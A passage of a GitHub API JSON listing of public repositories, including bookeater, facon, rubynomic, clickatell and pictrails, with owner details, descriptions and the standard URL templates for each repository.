fications{?since,all,participating}","labels_url":"https://api.github.com/repos/jasonm/bricklet-core/labels{/name}"},{"id":1414,"name":"bookeater","full_name":"gensym/bookeater","owner":{"login":"gensym","id":899,"avatar_url":"https://0.gravatar.com/avatar/e63b603ed7ffcb6b5c65707abc30e303?d=https%3A%2F%2Fidenticons.github.com%2F01882513d5fa7c329e940dda99b12147.png","gravatar_id":"e63b603ed7ffcb6b5c65707abc30e303","url":"https://api.github.com/users/gensym","html_url":"https://github.com/gensym","followers_url":"https://api.github.com/users/gensym/followers","following_url":"https://api.github.com/users/gensym/following{/other_user}","gists_url":"https://api.github.com/users/gensym/gists{/gist_id}","starred_url":"https://api.github.com/users/gensym/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gensym/subscriptions","organizations_url":"https://api.github.com/users/gensym/orgs","repos_url":"https://api.github.com/users/gensym/repos","events_url":"https://api.github.com/users/gensym/events{/privacy}","received_events_url":"https://api.github.com/users/gensym/received_events","type":"User"},"private":false,"html_url":"https://github.com/gensym/bookeater","description":"BookEater.net","fork":false,"url":"https://api.github.com/repos/gensym/bookeater","forks_url":"https://api.github.com/repos/gensym/bookeater/forks","keys_url":"https://api.github.com/repos/gensym/bookeater/keys{/key_id}","collaborators_url":"https://api.github.com/repos/gensym/bookeater/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/gensym/bookeater/teams","hooks_url":"https://api.github.com/repos/gensym/bookeater/hooks","issue_events_url":"https://api.github.com/repos/gensym/bookeater/issues/events{/number}","events_url":"https://api.github.com/repos/gensym/bookeater/events","assignees_url":"https://api.github.com/repos/gensym/bookeater/assignees{/user}","branches_url":"https://api.github.com/repos/gensym/bookeater/branches{/branch}","tags_url":"https://api.github.com/repos/gensym/bookeater/tags","blobs_url":"https://api.github.com/repos/gensym/bookeater/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/gensym/bookeater/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/gensym/bookeater/git/refs{/sha}","trees_url":"https://api.github.com/repos/gensym/bookeater/git/trees{/sha}","statuses_url":"https://api.github.com/repos/gensym/bookeater/statuses/{sha}","languages_url":"https://api.github.com/repos/gensym/bookeater/languages","stargazers_url":"https://api.github.com/repos/gensym/bookeater/stargazers","contributors_url":"https://api.github.com/repos/gensym/bookeater/contributors","subscribers_url":"https://api.github.com/repos/gensym/bookeater/subscribers","subscription_url":"https://api.github.com/repos/gensym/bookeater/subscription","commits_url":"https://api.github.com/repos/gensym/bookeater/commits{/sha}","git_commits_url":"https://api.github.com/repos/gensym/bookeater/git/commits{/sha}","comments_url":"https://api.github.com/repos/gensym/bookeater/comments{/number}","issue_comment_url":"https://api.github.com/repos/gensym/bookeater/issues/comments/{number}","contents_url":"https://api.github.com/repos/gensym/bookeater/contents/{+path}","compare_url":"https://api.github.com/repos/gensym/bookeater/compare/{base}...{head}","merges_url":"https://api.github.com/repos/gensym/bookeater/merges","archive_url":"https://api.github.com/repos/gensym/bookeater/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/gensym/bookeater/downloads","issues_url":"https://api.github.com/repos/gensym/bookeater/issues{/number}","pulls_url":"https://api.github.com/repos/gensym/bookeater/pulls{/number}","milestones_url":"https://api.github.com/repos/gensym/bookeater/milestones{/number}","notifications_url":"https://api.github.com/repos/gensym/bookeater/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/gensym/bookeater/labels{/name}"},{"id":1425,"name":"facon","full_name":"chuyeow/facon","owner":{"login":"chuyeow","id":213,"avatar_url":"https://2.gravatar.com/avatar/00fd4ce27c06ba63e7ddca4c3d67e5ea?d=https%3A%2F%2Fidenticons.github.com%2F979d472a84804b9f647bc185a877a8b5.png","gravatar_id":"00fd4ce27c06ba63e7ddca4c3d67e5ea","url":"https://api.github.com/users/chuyeow","html_url":"https://github.com/chuyeow","followers_url":"https://api.github.com/users/chuyeow/followers","following_url":"https://api.github.com/users/chuyeow/following{/other_user}","gists_url":"https://api.github.com/users/chuyeow/gists{/gist_id}","starred_url":"https://api.github.com/users/chuyeow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/chuyeow/subscriptions","organizations_url":"https://api.github.com/users/chuyeow/orgs","repos_url":"https://api.github.com/users/chuyeow/repos","events_url":"https://api.github.com/users/chuyeow/events{/privacy}","received_events_url":"https://api.github.com/users/chuyeow/received_events","type":"User"},"private":false,"html_url":"https://github.com/chuyeow/facon","description":"Facon is a mocking library in the spirit of the Bacon spec library. Small, compact, and works with Bacon.","fork":false,"url":"https://api.github.com/repos/chuyeow/facon","forks_url":"https://api.github.com/repos/chuyeow/facon/forks","keys_url":"https://api.github.com/repos/chuyeow/facon/keys{/key_id}","collaborators_url":"https://api.github.com/repos/chuyeow/facon/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/chuyeow/facon/teams","hooks_url":"https://api.github.com/repos/chuyeow/facon/hooks","issue_events_url":"https://api.github.com/repos/chuyeow/facon/issues/events{/number}","events_url":"https://api.github.com/repos/chuyeow/facon/events","assignees_url":"https://api.github.com/repos/chuyeow/facon/assignees{/user}","branches_url":"https://api.github.com/repos/chuyeow/facon/branches{/branch}","tags_url":"https://api.github.com/repos/chuyeow/facon/tags","blobs_url":"https://api.github.com/repos/chuyeow/facon/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/chuyeow/facon/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/chuyeow/facon/git/refs{/sha}","trees_url":"https://api.github.com/repos/chuyeow/facon/git/trees{/sha}","statuses_url":"https://api.github.com/repos/chuyeow/facon/statuses/{sha}","languages_url":"https://api.github.com/repos/chuyeow/facon/languages","stargazers_url":"https://api.github.com/repos/chuyeow/facon/stargazers","contributors_url":"https://api.github.com/repos/chuyeow/facon/contributors","subscribers_url":"https://api.github.com/repos/chuyeow/facon/subscribers","subscription_url":"https://api.github.com/repos/chuyeow/facon/subscription","commits_url":"https://api.github.com/repos/chuyeow/facon/commits{/sha}","git_commits_url":"https://api.github.com/repos/chuyeow/facon/git/commits{/sha}","comments_url":"https://api.github.com/repos/chuyeow/facon/comments{/number}","issue_comment_url":"https://api.github.com/repos/chuyeow/facon/issues/comments/{number}","contents_url":"https://api.github.com/repos/chuyeow/facon/contents/{+path}","compare_url":"https://api.github.com/repos/chuyeow/facon/compare/{base}...{head}","merges_url":"https://api.github.com/repos/chuyeow/facon/merges","archive_url":"https://api.github.com/repos/chuyeow/facon/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/chuyeow/facon/downloads","issues_url":"https://api.github.com/repos/chuyeow/facon/issues{/number}","pulls_url":"https://api.github.com/repos/chuyeow/facon/pulls{/number}","milestones_url":"https://api.github.com/repos/chuyeow/facon/milestones{/number}","notifications_url":"https://api.github.com/repos/chuyeow/facon/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/chuyeow/facon/labels{/name}"},{"id":1429,"name":"stat","full_name":"vanpelt/stat","owner":{"login":"vanpelt","id":17,"avatar_url":"https://1.gravatar.com/avatar/1da36d4c1f34454de6c07855098675f6?d=https%3A%2F%2Fidenticons.github.com%2F70efdf2ec9b086079795c442636b55fb.png","gravatar_id":"1da36d4c1f34454de6c07855098675f6","url":"https://api.github.com/users/vanpelt","html_url":"https://github.com/vanpelt","followers_url":"https://api.github.com/users/vanpelt/followers","following_url":"https://api.github.com/users/vanpelt/following{/other_user}","gists_url":"https://api.github.com/users/vanpelt/gists{/gist_id}","starred_url":"https://api.github.com/users/vanpelt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vanpelt/subscriptions","organizations_url":"https://api.github.com/users/vanpelt/orgs","repos_url":"https://api.github.com/users/vanpelt/repos","events_url":"https://api.github.com/users/vanpelt/events{/privacy}","received_events_url":"https://api.github.com/users/vanpelt/received_events","type":"User"},"private":false,"html_url":"https://github.com/vanpelt/stat","description":"A Rakefile that makes static website creation and deploying stupid simple","fork":false,"url":"https://api.github.com/repos/vanpelt/stat","forks_url":"https://api.github.com/repos/vanpelt/stat/forks","keys_url":"https://api.github.com/repos/vanpelt/stat/keys{/key_id}","collaborators_url":"https://api.github.com/repos/vanpelt/stat/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/vanpelt/stat/teams","hooks_url":"https://api.github.com/repos/vanpelt/stat/hooks","issue_events_url":"https://api.github.com/repos/vanpelt/stat/issues/events{/number}","events_url":"https://api.github.com/repos/vanpelt/stat/events","assignees_url":"https://api.github.com/repos/vanpelt/stat/assignees{/user}","branches_url":"https://api.github.com/repos/vanpelt/stat/branches{/branch}","tags_url":"https://api.github.com/repos/vanpelt/stat/tags","blobs_url":"https://api.github.com/repos/vanpelt/stat/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/vanpelt/stat/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/vanpelt/stat/git/refs{/sha}","trees_url":"https://api.github.com/repos/vanpelt/stat/git/trees{/sha}","statuses_url":"https://api.github.com/repos/vanpelt/stat/statuses/{sha}","languages_url":"https://api.github.com/repos/vanpelt/stat/languages","stargazers_url":"https://api.github.com/repos/vanpelt/stat/stargazers","contributors_url":"https://api.github.com/repos/vanpelt/stat/contributors","subscribers_url":"https://api.github.com/repos/vanpelt/stat/subscribers","subscription_url":"https://api.github.com/repos/vanpelt/stat/subscription","commits_url":"https://api.github.com/repos/vanpelt/stat/commits{/sha}","git_commits_url":"https://api.github.com/repos/vanpelt/stat/git/commits{/sha}","comments_url":"https://api.github.com/repos/vanpelt/stat/comments{/number}","issue_comment_url":"https://api.github.com/repos/vanpelt/stat/issues/comments/{number}","contents_url":"https://api.github.com/repos/vanpelt/stat/contents/{+path}","compare_url":"https://api.github.com/repos/vanpelt/stat/compare/{base}...{head}","merges_url":"https://api.github.com/repos/vanpelt/stat/merges","archive_url":"https://api.github.com/repos/vanpelt/stat/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/vanpelt/stat/downloads","issues_url":"https://api.github.com/repos/vanpelt/stat/issues{/number}","pulls_url":"https://api.github.com/repos/vanpelt/stat/pulls{/number}","milestones_url":"https://api.github.com/repos/vanpelt/stat/milestones{/number}","notifications_url":"https://api.github.com/repos/vanpelt/stat/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/vanpelt/stat/labels{/name}"},{"id":1435,"name":"rubynomic","full_name":"Norgg/rubynomic","owner":{"login":"Norgg","id":913,"avatar_url":"https://0.gravatar.com/avatar/f041ccf24524caf8d010097770b5eeae?d=https%3A%2F%2Fidenticons.github.com%2F8b5040a8a5baf3e0e67386c2e3a9b903.png","gravatar_id":"f041ccf24524caf8d010097770b5eeae","url":"https://api.github.com/users/Norgg","html_url":"https://github.com/Norgg","followers_url":"https://api.github.com/users/Norgg/followers","following_url":"https://api.github.com/users/Norgg/following{/other_user}","gists_url":"https://api.github.com/users/Norgg/gists{/gist_id}","starred_url":"https://api.github.com/users/Norgg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Norgg/subscriptions","organizations_url":"https://api.github.com/users/Norgg/orgs","repos_url":"https://api.github.com/users/Norgg/repos","events_url":"https://api.github.com/users/Norgg/events{/privacy}","received_events_url":"https://api.github.com/users/Norgg/received_events","type":"User"},"private":false,"html_url":"https://github.com/Norgg/rubynomic","description":"Initial source code for ruby nomic games","fork":false,"url":"https://api.github.com/repos/Norgg/rubynomic","forks_url":"https://api.github.com/repos/Norgg/rubynomic/forks","keys_url":"https://api.github.com/repos/Norgg/rubynomic/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Norgg/rubynomic/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Norgg/rubynomic/teams","hooks_url":"https://api.github.com/repos/Norgg/rubynomic/hooks","issue_events_url":"https://api.github.com/repos/Norgg/rubynomic/issues/events{/number}","events_url":"https://api.github.com/repos/Norgg/rubynomic/events","assignees_url":"https://api.github.com/repos/Norgg/rubynomic/assignees{/user}","branches_url":"https://api.github.com/repos/Norgg/rubynomic/branches{/branch}","tags_url":"https://api.github.com/repos/Norgg/rubynomic/tags","blobs_url":"https://api.github.com/repos/Norgg/rubynomic/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Norgg/rubynomic/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Norgg/rubynomic/git/refs{/sha}","trees_url":"https://api.github.com/repos/Norgg/rubynomic/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Norgg/rubynomic/statuses/{sha}","languages_url":"https://api.github.com/repos/Norgg/rubynomic/languages","stargazers_url":"https://api.github.com/repos/Norgg/rubynomic/stargazers","contributors_url":"https://api.github.com/repos/Norgg/rubynomic/contributors","subscribers_url":"https://api.github.com/repos/Norgg/rubynomic/subscribers","subscription_url":"https://api.github.com/repos/Norgg/rubynomic/subscription","commits_url":"https://api.github.com/repos/Norgg/rubynomic/commits{/sha}","git_commits_url":"https://api.github.com/repos/Norgg/rubynomic/git/commits{/sha}","comments_url":"https://api.github.com/repos/Norgg/rubynomic/comments{/number}","issue_comment_url":"https://api.github.com/repos/Norgg/rubynomic/issues/comments/{number}","contents_url":"https://api.github.com/repos/Norgg/rubynomic/contents/{+path}","compare_url":"https://api.github.com/repos/Norgg/rubynomic/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Norgg/rubynomic/merges","archive_url":"https://api.github.com/repos/Norgg/rubynomic/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Norgg/rubynomic/downloads","issues_url":"https://api.github.com/repos/Norgg/rubynomic/issues{/number}","pulls_url":"https://api.github.com/repos/Norgg/rubynomic/pulls{/number}","milestones_url":"https://api.github.com/repos/Norgg/rubynomic/milestones{/number}","notifications_url":"https://api.github.com/repos/Norgg/rubynomic/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Norgg/rubynomic/labels{/name}"},{"id":1436,"name":"depth-charge","full_name":"bscofield/depth-charge","owner":{"login":"bscofield","id":433,"avatar_url":"https://1.gravatar.com/avatar/01604be00b0c8371437cbc2b96265b9b?d=https%3A%2F%2Fidenticons.github.com%2F019d385eb67632a7e958e23f24bd07d7.png","gravatar_id":"01604be00b0c8371437cbc2b96265b9b","url":"https://api.github.com/users/bscofield","html_url":"https://github.com/bscofield","followers_url":"https://api.github.com/users/bscofield/followers","following_url":"https://api.github.com/users/bscofield/following{/other_user}","gists_url":"https://api.github.com/users/bscofield/gists{/gist_id}","starred_url":"https://api.github.com/users/bscofield/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bscofield/subscriptions","organizations_url":"https://api.github.com/users/bscofield/orgs","repos_url":"https://api.github.com/users/bscofield/repos","events_url":"https://api.github.com/users/bscofield/events{/privacy}","received_events_url":"https://api.github.com/users/bscofield/received_events","type":"User"},"private":false,"html_url":"https://github.com/bscofield/depth-charge","description":"A quick and dirty dependency finder for your Ruby projects","fork":false,"url":"https://api.github.com/repos/bscofield/depth-charge","forks_url":"https://api.github.com/repos/bscofield/depth-charge/forks","keys_url":"https://api.github.com/repos/bscofield/depth-charge/keys{/key_id}","collaborators_url":"https://api.github.com/repos/bscofield/depth-charge/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/bscofield/depth-charge/teams","hooks_url":"https://api.github.com/repos/bscofield/depth-charge/hooks","issue_events_url":"https://api.github.com/repos/bscofield/depth-charge/issues/events{/number}","events_url":"https://api.github.com/repos/bscofield/depth-charge/events","assignees_url":"https://api.github.com/repos/bscofield/depth-charge/assignees{/user}","branches_url":"https://api.github.com/repos/bscofield/depth-charge/branches{/branch}","tags_url":"https://api.github.com/repos/bscofield/depth-charge/tags","blobs_url":"https://api.github.com/repos/bscofield/depth-charge/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/bscofield/depth-charge/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/bscofield/depth-charge/git/refs{/sha}","trees_url":"https://api.github.com/repos/bscofield/depth-charge/git/trees{/sha}","statuses_url":"https://api.github.com/repos/bscofield/depth-charge/statuses/{sha}","languages_url":"https://api.github.com/repos/bscofield/depth-charge/languages","stargazers_url":"https://api.github.com/repos/bscofield/depth-charge/stargazers","contributors_url":"https://api.github.com/repos/bscofield/depth-charge/contributors","subscribers_url":"https://api.github.com/repos/bscofield/depth-charge/subscribers","subscription_url":"https://api.github.com/repos/bscofield/depth-charge/subscription","commits_url":"https://api.github.com/repos/bscofield/depth-charge/commits{/sha}","git_commits_url":"https://api.github.com/repos/bscofield/depth-charge/git/commits{/sha}","comments_url":"https://api.github.com/repos/bscofield/depth-charge/comments{/number}","issue_comment_url":"https://api.github.com/repos/bscofield/depth-charge/issues/comments/{number}","contents_url":"https://api.github.com/repos/bscofield/depth-charge/contents/{+path}","compare_url":"https://api.github.com/repos/bscofield/depth-charge/compare/{base}...{head}","merges_url":"https://api.github.com/repos/bscofield/depth-charge/merges","archive_url":"https://api.github.com/repos/bscofield/depth-charge/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/bscofield/depth-charge/downloads","issues_url":"https://api.github.com/repos/bscofield/depth-charge/issues{/number}","pulls_url":"https://api.github.com/repos/bscofield/depth-charge/pulls{/number}","milestones_url":"https://api.github.com/repos/bscofield/depth-charge/milestones{/number}","notifications_url":"https://api.github.com/repos/bscofield/depth-charge/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/bscofield/depth-charge/labels{/name}"},{"id":1440,"name":"portfolio","full_name":"myabc/portfolio","owner":{"login":"myabc","id":755,"avatar_url":"https://0.gravatar.com/avatar/9b1a71682de14fc6fc2b944a9c4814a0?d=https%3A%2F%2Fidenticons.github.com%2Fccb0989662211f61edae2e26d58ea92f.png","gravatar_id":"9b1a71682de14fc6fc2b944a9c4814a0","url":"https://api.github.com/users/myabc","html_url":"https://github.com/myabc","followers_url":"https://api.github.com/users/myabc/followers","following_url":"https://api.github.com/users/myabc/following{/other_user}","gists_url":"https://api.github.com/users/myabc/gists{/gist_id}","starred_url":"https://api.github.com/users/myabc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/myabc/subscriptions","organizations_url":"https://api.github.com/users/myabc/orgs","repos_url":"https://api.github.com/users/myabc/repos","events_url":"https://api.github.com/users/myabc/events{/privacy}","received_events_url":"https://api.github.com/users/myabc/received_events","type":"User"},"private":false,"html_url":"https://github.com/myabc/portfolio","description":"Alex Coles Portfolio","fork":false,"url":"https://api.github.com/repos/myabc/portfolio","forks_url":"https://api.github.com/repos/myabc/portfolio/forks","keys_url":"https://api.github.com/repos/myabc/portfolio/keys{/key_id}","collaborators_url":"https://api.github.com/repos/myabc/portfolio/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/myabc/portfolio/teams","hooks_url":"https://api.github.com/repos/myabc/portfolio/hooks","issue_events_url":"https://api.github.com/repos/myabc/portfolio/issues/events{/number}","events_url":"https://api.github.com/repos/myabc/portfolio/events","assignees_url":"https://api.github.com/repos/myabc/portfolio/assignees{/user}","branches_url":"https://api.github.com/repos/myabc/portfolio/branches{/branch}","tags_url":"https://api.github.com/repos/myabc/portfolio/tags","blobs_url":"https://api.github.com/repos/myabc/portfolio/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/myabc/portfolio/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/myabc/portfolio/git/refs{/sha}","trees_url":"https://api.github.com/repos/myabc/portfolio/git/trees{/sha}","statuses_url":"https://api.github.com/repos/myabc/portfolio/statuses/{sha}","languages_url":"https://api.github.com/repos/myabc/portfolio/languages","stargazers_url":"https://api.github.com/repos/myabc/portfolio/stargazers","contributors_url":"https://api.github.com/repos/myabc/portfolio/contributors","subscribers_url":"https://api.github.com/repos/myabc/portfolio/subscribers","subscription_url":"https://api.github.com/repos/myabc/portfolio/subscription","commits_url":"https://api.github.com/repos/myabc/portfolio/commits{/sha}","git_commits_url":"https://api.github.com/repos/myabc/portfolio/git/commits{/sha}","comments_url":"https://api.github.com/repos/myabc/portfolio/comments{/number}","issue_comment_url":"https://api.github.com/repos/myabc/portfolio/issues/comments/{number}","contents_url":"https://api.github.com/repos/myabc/portfolio/contents/{+path}","compare_url":"https://api.github.com/repos/myabc/portfolio/compare/{base}...{head}","merges_url":"https://api.github.com/repos/myabc/portfolio/merges","archive_url":"https://api.github.com/repos/myabc/portfolio/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/myabc/portfolio/downloads","issues_url":"https://api.github.com/repos/myabc/portfolio/issues{/number}","pulls_url":"https://api.github.com/repos/myabc/portfolio/pulls{/number}","milestones_url":"https://api.github.com/repos/myabc/portfolio/milestones{/number}","notifications_url":"https://api.github.com/repos/myabc/portfolio/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/myabc/portfolio/labels{/name}"},{"id":1441,"name":"clickatell","full_name":"lukeredpath/clickatell","owner":{"login":"lukeredpath","id":613,"avatar_url":"https://0.gravatar.com/avatar/bdd4d23d1a822b2d68b53e7c51d69a39?d=https%3A%2F%2Fidenticons.github.com%2Ff29c21d4897f78948b91f03172341b7b.png","gravatar_id":"bdd4d23d1a822b2d68b53e7c51d69a39","url":"https://api.github.com/users/lukeredpath","html_url":"https://github.com/lukeredpath","followers_url":"https://api.github.com/users/lukeredpath/followers","following_url":"https://api.github.com/users/lukeredpath/following{/other_user}","gists_url":"https://api.github.com/users/lukeredpath/gists{/gist_id}","starred_url":"https://api.github.com/users/lukeredpath/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lukeredpath/subscriptions","organizations_url":"https://api.github.com/users/lukeredpath/orgs","repos_url":"https://api.github.com/users/lukeredpath/repos","events_url":"https://api.github.com/users/lukeredpath/events{/privacy}","received_events_url":"https://api.github.com/users/lukeredpath/received_events","type":"User"},"private":false,"html_url":"https://github.com/lukeredpath/clickatell","description":"NO LONGER SUPPORTED - Ruby interface to the Clickatell SMS Gateway API","fork":false,"url":"https://api.github.com/repos/lukeredpath/clickatell","forks_url":"https://api.github.com/repos/lukeredpath/clickatell/forks","keys_url":"https://api.github.com/repos/lukeredpath/clickatell/keys{/key_id}","collaborators_url":"https://api.github.com/repos/lukeredpath/clickatell/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/lukeredpath/clickatell/teams","hooks_url":"https://api.github.com/repos/lukeredpath/clickatell/hooks","issue_events_url":"https://api.github.com/repos/lukeredpath/clickatell/issues/events{/number}","events_url":"https://api.github.com/repos/lukeredpath/clickatell/events","assignees_url":"https://api.github.com/repos/lukeredpath/clickatell/assignees{/user}","branches_url":"https://api.github.com/repos/lukeredpath/clickatell/branches{/branch}","tags_url":"https://api.github.com/repos/lukeredpath/clickatell/tags","blobs_url":"https://api.github.com/repos/lukeredpath/clickatell/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/lukeredpath/clickatell/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/lukeredpath/clickatell/git/refs{/sha}","trees_url":"https://api.github.com/repos/lukeredpath/clickatell/git/trees{/sha}","statuses_url":"https://api.github.com/repos/lukeredpath/clickatell/statuses/{sha}","languages_url":"https://api.github.com/repos/lukeredpath/clickatell/languages","stargazers_url":"https://api.github.com/repos/lukeredpath/clickatell/stargazers","contributors_url":"https://api.github.com/repos/lukeredpath/clickatell/contributors","subscribers_url":"https://api.github.com/repos/lukeredpath/clickatell/subscribers","subscription_url":"https://api.github.com/repos/lukeredpath/clickatell/subscription","commits_url":"https://api.github.com/repos/lukeredpath/clickatell/commits{/sha}","git_commits_url":"https://api.github.com/repos/lukeredpath/clickatell/git/commits{/sha}","comments_url":"https://api.github.com/repos/lukeredpath/clickatell/comments{/number}","issue_comment_url":"https://api.github.com/repos/lukeredpath/clickatell/issues/comments/{number}","contents_url":"https://api.github.com/repos/lukeredpath/clickatell/contents/{+path}","compare_url":"https://api.github.com/repos/lukeredpath/clickatell/compare/{base}...{head}","merges_url":"https://api.github.com/repos/lukeredpath/clickatell/merges","archive_url":"https://api.github.com/repos/lukeredpath/clickatell/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/lukeredpath/clickatell/downloads","issues_url":"https://api.github.com/repos/lukeredpath/clickatell/issues{/number}","pulls_url":"https://api.github.com/repos/lukeredpath/clickatell/pulls{/number}","milestones_url":"https://api.github.com/repos/lukeredpath/clickatell/milestones{/number}","notifications_url":"https://api.github.com/repos/lukeredpath/clickatell/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/lukeredpath/clickatell/labels{/name}"},{"id":1444,"name":"do_notation","full_name":"aanand/do_notation","owner":{"login":"aanand","id":1062,"avatar_url":"https://2.gravatar.com/avatar/73022df4be6fcced9792f50497b4f119?d=https%3A%2F%2Fidenticons.github.com%2Fcd89fef7ffdd490db800357f47722b20.png","gravatar_id":"73022df4be6fcced9792f50497b4f119","url":"https://api.github.com/users/aanand","html_url":"https://github.com/aanand","followers_url":"https://api.github.com/users/aanand/followers","following_url":"https://api.github.com/users/aanand/following{/other_user}","gists_url":"https://api.github.com/users/aanand/gists{/gist_id}","starred_url":"https://api.github.com/users/aanand/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/aanand/subscriptions","organizations_url":"https://api.github.com/users/aanand/orgs","repos_url":"https://api.github.com/users/aanand/repos","events_url":"https://api.github.com/users/aanand/events{/privacy}","received_events_url":"https://api.github.com/users/aanand/received_events","type":"User"},"private":false,"html_url":"https://github.com/aanand/do_notation","description":"Haskell-style monad do-notation for Ruby","fork":false,"url":"https://api.github.com/repos/aanand/do_notation","forks_url":"https://api.github.com/repos/aanand/do_notation/forks","keys_url":"https://api.github.com/repos/aanand/do_notation/keys{/key_id}","collaborators_url":"https://api.github.com/repos/aanand/do_notation/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/aanand/do_notation/teams","hooks_url":"https://api.github.com/repos/aanand/do_notation/hooks","issue_events_url":"https://api.github.com/repos/aanand/do_notation/issues/events{/number}","events_url":"https://api.github.com/repos/aanand/do_notation/events","assignees_url":"https://api.github.com/repos/aanand/do_notation/assignees{/user}","branches_url":"https://api.github.com/repos/aanand/do_notation/branches{/branch}","tags_url":"https://api.github.com/repos/aanand/do_notation/tags","blobs_url":"https://api.github.com/repos/aanand/do_notation/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/aanand/do_notation/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/aanand/do_notation/git/refs{/sha}","trees_url":"https://api.github.com/repos/aanand/do_notation/git/trees{/sha}","statuses_url":"https://api.github.com/repos/aanand/do_notation/statuses/{sha}","languages_url":"https://api.github.com/repos/aanand/do_notation/languages","stargazers_url":"https://api.github.com/repos/aanand/do_notation/stargazers","contributors_url":"https://api.github.com/repos/aanand/do_notation/contributors","subscribers_url":"https://api.github.com/repos/aanand/do_notation/subscribers","subscription_url":"https://api.github.com/repos/aanand/do_notation/subscription","commits_url":"https://api.github.com/repos/aanand/do_notation/commits{/sha}","git_commits_url":"https://api.github.com/repos/aanand/do_notation/git/commits{/sha}","comments_url":"https://api.github.com/repos/aanand/do_notation/comments{/number}","issue_comment_url":"https://api.github.com/repos/aanand/do_notation/issues/comments/{number}","contents_url":"https://api.github.com/repos/aanand/do_notation/contents/{+path}","compare_url":"https://api.github.com/repos/aanand/do_notation/compare/{base}...{head}","merges_url":"https://api.github.com/repos/aanand/do_notation/merges","archive_url":"https://api.github.com/repos/aanand/do_notation/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/aanand/do_notation/downloads","issues_url":"https://api.github.com/repos/aanand/do_notation/issues{/number}","pulls_url":"https://api.github.com/repos/aanand/do_notation/pulls{/number}","milestones_url":"https://api.github.com/repos/aanand/do_notation/milestones{/number}","notifications_url":"https://api.github.com/repos/aanand/do_notation/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/aanand/do_notation/labels{/name}"},{"id":1453,"name":"pictrails","full_name":"shingara/pictrails","owner":{"login":"shingara","id":1088,"avatar_url":"https://0.gravatar.com/avatar/2fd0206c71a1b22a9cc6293f38537461?d=https%3A%2F%2Fidenticons.github.com%2Fb1563a78ec59337587f6ab6397699afc.png","gravatar_id":"2fd0206c71a1b22a9cc6293f38537461","url":"https://api.github.com/users/shingara","html_url":"https://github.com/shingara","followers_url":"https://api.github.com/users/shingara/followers","following_url":"https://api.github.com/users/shingara/following{/other_user}","gists_url":"https://api.github.com/users/shingara/gists{/gist_id}","starred_url":"https://api.github.com/users/shingara/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/shingara/subscriptions","organizations_url":"https://api.github.com/users/shingara/orgs","repos_url":"https://api.github.com/users/shingara/repos","events_url":"https://api.github.com/users/shingara/events{/privacy}","received_events_url":"https://api.github.com/users/shingara/received_events","type":"User"},"private":false,"html_url":"https://github.com/shingara/pictrails","description":"A Web Photo Gallery, written with Rails 2.0. Pictrails can manage several photo galleries.","fork":false,"url":"https://api.github.com/repos/shingara/pictrails","forks_url":"https://api.github.com/repos/shingara/pictrails/forks","keys_url":"https://api.github.com/repos/shingara/pictrails/keys{/key_id}","collaborators_url":"https://api.github.com/repos/shingara/pictrails/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/shingara/pictrails/teams","hooks_url":"https://api.github.com/repos/shingara/pictrails/hooks","issue_events_url":"https://api.github.com/repos/shingara/pictrails/issues/events{/number}","events_url":"https://api.github.com/repos/shingara/pictrails/events","assignees_url":"https://api.github.com/repos/shingara/pictrails/assignees{/user}","branches_url":"https://api.github.com/repos/shingara/pictrails/branches{/branch}","tags_url":"https://api.github.com/repos/shingara/pictrails/tags","blobs_url":"https://api.github.com/repos/shingara/pictrails/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/shingara/pictrails/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/shingara/pictrails/git/refs{/sha}","trees_url":"https://api.github.com/repos/shingara/pictrails/git/trees{/sha}","statuses_url":"https://api.github.com/repos/shingara/pictrails/statuses/{sha}","languages_url":"https://api.github.com/repos/shingara/pictrails/languages","stargazer